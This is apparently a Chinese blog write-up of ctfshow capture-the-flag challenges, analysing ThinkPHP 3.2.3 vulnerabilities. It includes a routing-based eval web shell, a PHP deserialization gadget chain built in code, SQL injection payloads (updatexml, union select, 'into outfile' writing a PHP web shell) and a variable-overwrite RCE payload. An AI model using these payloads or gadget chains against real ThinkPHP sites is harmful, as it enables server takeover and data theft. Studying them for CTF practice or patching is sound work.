tp3.2.3
1.开始
入口文件
就是www/index.php,index.php包含了框架的入口文件,所以访问后可以直接加载thinkphp框架
配置文件
thinkphp的配置文件在www/ThinkPHP/Conf/convention.php
url大小写
url默认是大小写敏感的,也可以通过修改convertion.php,达到url不区分大小写的目的
'URL_CASE_INSENSITIVE' => true,
URL模式
在访问入口文件时,如果没有指定模块、控制器、方法,默认会访问HOME模块下面的Index控制器的index方法,所以下面访问是等效的
http://serverName/index.php
http://serverName/index.php/Home/Index/index
为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。
PATHINFO模式:
普通模式:
兼容模式:
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式:
路由
开启路由的前提
- URL模式为PATH_INFO或者兼容模式也可以,采用普通模式的情况下不支持路由功能
- 在应用(或者模块)配置文件中开启路由:'URL_ROUTER_ON' => true,
规则路由
common内全局路由:
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'ctfshow', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'ctfshow', // 密码
'DB_PORT' => '3306', // 端口
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
);
http://challenge.ctf.show/index.php/ctfshow/assert/@eval($_POST[1])
=> call_user_func('assert','@eval($_POST[1])');
2.show渲染函数rce
Thinkphp的渲染机制
Thinkphp的控制器中有show函数,可以将文本渲染成html的网页
show函数最终调用eval函数
成功传入参数值
本地在show方法下断点
继续跟进display方法
跟进到fetch方法
if('php' == strtolower(C('TMPL_ENGINE_TYPE')))
这里直接到else里面了,因为本地默认是Think,但是ctfshow里是PHP,所以我们可以直接进行命令执行
注意要url编码
3.反序列化+sql注入
先找__destruct
这里img可控,可调用destroy方法,全局搜素
handle和sessionName可控,但是sessID不可控,是空值,后续delete方法的参数大多需要数组,这里即使给sessionName赋值成数组,但是$sessID
如果为空值,在PHP中,用.
连接符连接,得到的结果为字符串Array
。
<?php
$a= array("1234"=>"1234");
var_dump($a."");
#输出:string(5) "Array"
全局搜索delete函数
在这写一个echo,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。
<?php
namespace Think\Image\Driver {
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $lifeTime = 3600;
protected $sessionName = 1;
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think {
class Model{}
}
namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错,但是我没配php5的debug
m1xian是能打印出来的
继续向下分析
这里$this->data
可控,我们期望进入这个return里面,这样会第二次调用delete方法,此时则该方法的option
参数变相可控
继续向下走
这里$this->db我们可控的,delete方法也可控,option的值我们变相可控
继续全局搜索delete方法
thinkphp3.2.3/ThinkPHP/Library/Think/Db/Driver.class.php
此处可能存在sql注入漏洞,因为直接对table进行了拼接
上面有个parseTable函数,跟进看一下有木有过滤
可以看到只调用了parseKey函数,继续跟进看一下
毫无过滤,直接将传入的参数返回
在此处执行sql,执行前打印出来,构造一下到这里的链子
<?php
namespace Think\Image\Driver {
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $lifeTime = 3600;
protected $sessionName = '';
protected $handle = null;
public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think {
class Model{}
}
namespace {
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}
4.comment注入
无过滤可直接执行命令
comment处下断点
走到find方法,之前分析过会进行一个sql执行
继续跟看看有没有过滤
没有过滤
https://challenge.ctf.show/?id=0*/;select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/a.php';/*
5.where注入传入数组
where处下断点,这里也是调用了find函数
一直跟进到构造sql语句的地方
跟进红框看一下有木有过滤
可以看到如果进第一个if比较运算的话,会进parseValue
直接走下面红框的
Payload:
?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
可以看到成功注入
union也可以
?m=Home&c=Index&a=index&id[0]=exp&id[1]==0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
6.php原生引擎下,assign方法变量覆盖导致的RCE
源码:
默认情况下tp框架使用的是THINK引擎渲染网页,但是开发者可以手动设置/tp3.2.3/ThinkPHP/Conf/convention.php的TMPL_ENGINE_TYPE值为PHP,来使用原生引擎。这里的漏洞就是因为使用了php原生引擎
看一下assign
传入的name是数组就数组合并,是字符串就name当作键值,value当作值
跟进到display
display方法是渲染用的,没有参数就渲染自身名称的html文件模板(index.html)
继续跟进到fetch
extract函数,当flags为EXTR_OVERWRITE时会覆盖原有变量
这里extract($this->tVar
),通过assgin传入
这里直接将$_content eval执行了
?m=Home&c=Index&a=index&name=_content&from=<?php @eval($_POST[1]);?>
也可以?name[_content]=<?php phpinfo();?>
可以看到成功覆盖
标签:分析,index,name,Index,thinkphp3.2,漏洞,Home,php,Think From: https://www.cnblogs.com/m1xian/p/18276831